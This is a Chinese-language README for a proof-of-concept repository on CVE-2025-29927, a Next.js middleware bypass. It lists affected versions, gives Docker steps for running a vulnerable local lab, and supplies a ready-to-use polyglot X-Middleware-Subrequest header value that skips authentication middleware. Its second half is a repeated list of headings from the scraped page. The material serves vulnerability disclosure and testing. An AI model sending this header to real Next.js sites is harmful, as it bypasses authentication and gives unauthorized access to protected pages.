CVE-2025-29927：Next.js 中间件绕过漏洞 PoC

该仓库演示了 Next.js 中的 CVE-2025-29927 漏洞，即内部标头 x-middleware-subrequest 可被用于绕过身份验证等中间件检查。

受影响版本

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

复现步骤

1. 克隆仓库：

git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. 进入项目文件夹：

cd CVE-2025-29927-PoC

3. 生成一个密钥：

openssl rand -base64 32

4. 更新 `.env` 文件中的密钥：

NEXTAUTH_SECRET=your_generated_secret

5. 使用 Docker 构建并运行：

docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

概念验证

我们可以通过使用一个多语言有效载荷（polyglot）来大大简化此漏洞的利用，从而有效覆盖各种可能的情况。我们使用以下 HTTP 标头实现了这一点，用于检查是否存在身份验证绕过：

X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

重定向用户

利用示例

CVE-2025-29927-PoC

最受欢迎

CVE-2025-29927：Next.js 中间件绕过漏洞 PoC

受影响版本

复现步骤

1. 克隆仓库：

2. 进入项目文件夹：

3. 生成一个密钥：

4. 更新 .env 文件中的密钥：

5. 使用 Docker 构建并运行：

概念验证

鸣谢/来源

4. 更新 `.env` 文件中的密钥：